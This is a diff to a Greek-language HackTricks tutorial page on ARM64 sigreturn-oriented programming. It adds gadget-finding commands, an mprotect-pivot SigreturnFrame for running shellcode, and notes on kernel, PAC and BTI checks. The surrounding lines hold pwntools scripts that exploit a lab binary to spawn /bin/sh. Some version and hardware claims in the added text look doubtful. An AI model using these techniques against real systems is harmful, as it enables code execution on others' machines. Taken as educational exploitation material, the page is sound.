diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index d128afeac..693b57274 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,8 +1,8 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} -## Pwntools παράδειγμα +## Παράδειγμα Pwntools Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο **διαβάζει στη στοίβα** και στη συνέχεια καλεί **`sigreturn`**: ```python @@ -32,7 +32,7 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` -## παράδειγμα bof +## bof παράδειγμα ### Κώδικας ```c @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -136,7 +136,7 @@ return 0;
-Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει: +Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει: ```python from pwn import * @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -177,4 +177,53 @@ p.interactive() ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## Αυτόματη εύρεση `sigreturn` gadgets (2023-2025) + +Σε σύγχρονες διανομές, το `sigreturn` trampoline εξακολουθεί να εξάγεται από τη σελίδα **vDSO**, αλλά η ακριβής απόσταση μπορεί να διαφέρει μεταξύ των εκδόσεων του πυρήνα και των σημαιών κατασκευής όπως το BTI (`+branch-protection`) ή το PAC. Η αυτοματοποίηση της ανακάλυψής του αποτρέπει την σκληρή κωδικοποίηση αποστάσεων: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις **AArch64** και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*. + +> Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον συνδέτη περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα. + +## Σύνδεση SROP με ROP (pivot μέσω `mprotect`) + +`rt_sigreturn` μας επιτρέπει να ελέγχουμε *όλους* τους γενικούς καταχωρητές και το `pstate`. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε `mprotect`, 2) κάντε pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +Μετά την αποστολή του πλαισίου, μπορείτε να στείλετε μια δεύτερη φάση που περιέχει raw shell-code στο `0x400000+0x100`. Επειδή το **AArch64** χρησιμοποιεί *PC-relative* διευθυνσιοδότηση, αυτό είναι συχνά πιο βολικό από το να κατασκευάσετε μεγάλες αλυσίδες ROP. + +## Έλεγχος του πυρήνα, PAC & Shadow-Stacks + +Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει: + +* `uc_flags` πρέπει να περιέχει `UC_FP_XSTATE` όταν υπάρχει `extra_context`. +* Η δεσμευμένη λέξη στη `struct rt_sigframe` πρέπει να είναι μηδέν. +* Κάθε δείκτης στο αρχείο *extra_context* είναι ευθυγραμμισμένος και δείχνει μέσα στον χώρο διευθύνσεων του χρήστη. + +`pwntools>=4.10` κατασκευάζει αυτόματα συμμορφούμενα πλαίσια, αλλά αν τα κατασκευάσετε χειροκίνητα, βεβαιωθείτε ότι έχετε μηδενίσει το *reserved* και παραλείψτε το αρχείο SVE εκτός αν το χρειάζεστε πραγματικά—διαφορετικά, το `rt_sigreturn` θα παραδώσει `SIGSEGV` αντί να επιστρέψει. + +Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με **PAC** (*Pointer Authentication*) και **BTI** ενεργοποιημένα από προεπιλογή (`-mbranch-protection=standard`). Το *SROP* από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το `PC` απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε **επόμενη αλυσίδα ROP** που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Να το έχετε υπόψη σας όταν επιλέγετε gadgets. + +Οι Shadow-Call-Stacks που εισήχθησαν στο ARMv8.9 (και ήδη ενεργοποιημένες στο ChromeOS 1.27+) είναι μια μείωση σε επίπεδο μεταγλωττιστή και *δεν* παρεμβαίνουν στο SROP επειδή δεν εκτελούνται εντολές επιστροφής—η ροή ελέγχου μεταφέρεται από τον πυρήνα. + +## Αναφορές + +* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}}